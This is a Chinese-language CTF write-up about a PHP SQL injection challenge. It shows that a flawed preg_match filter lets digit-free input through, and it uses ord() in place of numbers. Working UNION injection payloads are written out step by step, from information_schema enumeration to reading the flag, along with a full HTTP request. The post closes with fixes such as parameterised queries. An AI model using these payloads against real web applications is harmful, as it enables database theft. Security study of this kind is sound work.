CTF SQL注入详解|无数字绕过 preg_match 正则注入全过程

CTF SQL注入详解|无数字绕过 preg_match 正则注入全过程

一、前言

遇到一道 Pediy 平台的 CTF SQL 注入题,源码审计发现后端用 preg_match 正则过滤了 SQL 注入关键词,但正则表达式存在逻辑盲点------仅拦截含数字的恶意输入,完全无数字的 Payload 可长驱直入

本文完整记录源码审计 → 正则分析 → 绕过思路 → 注入获取 flag 全流程。


二、题目源码

php 复制代码
<?php
require("conf/config.php");
if (isset($_REQUEST['id'])) {
    $id = $_REQUEST['id'];
    if (preg_match("/\d.+?\D.+/is",$id)){
        die("Attack detected");
    }
    $query = "SELECT text from UserInfo WHERE id = " . $id. ";";
    $results = $conn->query($query);
    echo "学号:" . $id . ",成绩为: ".$results->fetch_assoc()['text'];
}
?>

关键点:

  • $_REQUEST['id'] --- 支持 GET / POST / COOKIE 传参
  • $id 直接拼接 SQL --- 存在 SQL 注入
  • preg_match 正则拦截 --- 存在 WAF,绕过即可注入

三、正则逐段分析

正则表达式

php 复制代码
/\d.+?\D.+/is
部分 含义 说明
\d 匹配一个数字(0-9) 匹配到数字才开始匹配
.+? 匹配 1 个以上任意字符(非贪婪 尽可能少地匹配
\D 匹配一个非数字字符 \d 互补
.+ 匹配 1 个以上任意字符(贪婪 尽可能多地匹配
i 修饰符 忽略大小写 本题中无字母,无关
s 修饰符 . 可匹配换行符 \n 无法通过换行绕过

匹配逻辑

该正则要匹配成功,输入必须同时满足 4 个条件

数字 + 至少1个任意字符 + 非数字 + 至少1个任意字符

举例:

输入 匹配过程 结果
1 UNION SELECT \d=1, .+?= , \D=U, .+=NION SELECT ❌ 被拦截
1' OR 1=1 -- \d=1, .+?=', \D= , .+=OR 1=1 -- ❌ 被拦截
12345 全是数字,\D 永远匹配不到 ✅ 放行
hello 没有数字,\d 永远匹配不到 ✅ 放行

核心漏洞

正则没有 ^$ 锚点 ,但只要输入中完全没有数字 0-9,那么 \d 在任意位置都匹配失败,整个正则返回 0(未匹配),WAF 完全失效


四、注入思路

绕过方案:不使用任何数字

构造纯字母/符号的 SQL Payload,使输入中不含 0-9 任意数字 ,正则因找不到 \d 而放行。

关键技巧:用 MySQL 函数替代硬编码数字

SQL 中 WHERE id = 数字 通常需要写一个整数,但整数包含数字字符。替代方案是使用 MySQL 函数动态生成数值:

函数 结果 说明
ord('v') 118 返回字符 'v' 的 ASCII 码(118)
ord('a') 97 返回字符 'a' 的 ASCII 码
ord('A') 65 返回大写字母的 ASCII 码
ord('0') 48 注意 '0' 是字符,不是数字,无数字字符 ✅

ord('v') 既是一个有效的学号 (假设 118 号有数据),又完全不含数字字符,两全其美。

完整注入链

Step 1:验证注入存在
复制代码
POST / id=ord('v') union select 'hello' -- -
  • 输入:ord('v') union select 'hello' -- -(POST 方式传入)
  • 含数字?没有 ✅ 正则放行
  • SQL:
sql 复制代码
SELECT text from UserInfo WHERE id = ord('v') union select 'hello' -- -;
  • ord('v') 返回 118,如果学号 118 存在则返回该行数据,再 UNION 追加一行
Step 2:查数据库名
复制代码
POST / id=ord('v') union select database() -- -

无数字 ✅ 放行

Step 3:查所有表名
复制代码
POST / id=ord('v') union select group_concat(table_name) from information_schema.tables where table_schema=database() -- -

无数字 ✅ 放行

Step 4:查 flag 表的列名
复制代码
POST / id=ord('v') union select group_concat(column_name) from information_schema.columns where table_name='flag' -- -

无数字 ✅ 放行(注意假设 flag 表名为 flag,实际按 Step 3 结果调整)

Step 5:读 flag
复制代码
POST / id=ord('v') union select group_concat(flag) from flag -- -

无数字 ✅ 放行,页面输出 flag。


五、最终 Payload

POST 方式(原生 form 表单提交):

http 复制代码
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

id=ord('v')+union+select+group_concat(flag)+from+flag&submit=Submit

+ 在 URL 编码中等价于空格,所以实际 $_REQUEST['id'] 值为:

复制代码
ord('v') union select group_concat(flag) from flag

全程无数字,正则放行 ✅


六、拓展思考:如果表和列名含数字怎么办?

某些场景下表名或列名可能带数字,如 flag_2024。此时 Payload 中出现数字会触发正则拦截。

方案 1:用 ord() 拼接标识符

若表名含数字如 flag_2024,可尝试用别名或动态 SQL 绕过,但标识符中的数字无法用 ord() 替代。此时需换思路。

方案 2:如果表名/列名固定含数字

难以完全绕过本正则,可换用 id=纯数字 方式做盲注(纯数字放行,但注入能力有限)。

方案 3:其他无数字函数

MySQL 中还有一系列无数字字符的内置函数可用于注入:

函数 用途 含数字?
version() 获取 MySQL 版本 ❌ 无
database() 当前数据库名 ❌ 无
user() 当前数据库用户 ❌ 无
current_user() 当前用户 ❌ 无
now() 当前时间 ❌ 无
concat() 字符串拼接 ❌ 无
group_concat() 分组拼接 ❌ 无

七、正则绕过原理总图

复制代码
输入字符串
    │
    ├── 含有数字 0-9 ──→ \d 匹配成功
    │                       │
    │                  ┌─────┴──────┐
    │                  │ 后面还有    │
    │                  │ 非数字+字符?│
    │                  ├─────┬──────┤
    │                  │ 是   │  否  │
    │                  │ ❌拦截│ ✅放行│
    │                  │     │(纯数字)│
    │                  └─────┘      │
    │                               │
    └── 不含数字 ───────────────→ ✅ 放行
                                   (完全绕过)

本题的核心绕过点就是:正则依赖 \d 作为触发条件,只要 Payload 中没有 0-9 任意数字,整个正则永远不会匹配


八、漏洞总结与修复建议

1. 漏洞成因

问题 说明
🚫 正则逻辑缺陷 依赖 \d 触发匹配,无数字的 Payload 完全绕过
🚫 无锚点限制 未加 ^...$,只要某处匹配失败即失效
🚫 直接拼接 SQL $id 未做转义或参数化查询

2. 服务端修复方案

  • 使用参数化查询(Prepared Statement),彻底杜绝 SQL 注入;

  • 正则增加锚点 ^...$ 并严格限制允许字符:

    php 复制代码
    if (!preg_match('/^\d+$/', $id)) {
        die("Invalid input");
    }
  • 使用 intval 强制转整型

    php 复制代码
    $id = intval($_REQUEST['id']);

九、文末小结

本题的正则 /\d.+?\D.+/is 看起来拦截了 1 UNION... 这类经典注入,但致命缺陷在于 \d 为触发条件,导致不含数字的 Payload 被完全放行。

关键技巧在于用 ord('v') 这样的 MySQL 函数代替硬编码数字------既提供了 SQL 所需的整数值,又保证整个 Payload 不含一个数字字符。

💡 CTF 经验总结 :分析正则 WAF 时,逐字符审查每个匹配条件。找到正则的"触发前提条件",然后构造不满足该前提的 Payload 即可绕过------有时不需要绕过正则本身,只需要让它"不想匹配"。而 ord() + group_concat() 的组合是这类题目的经典答案。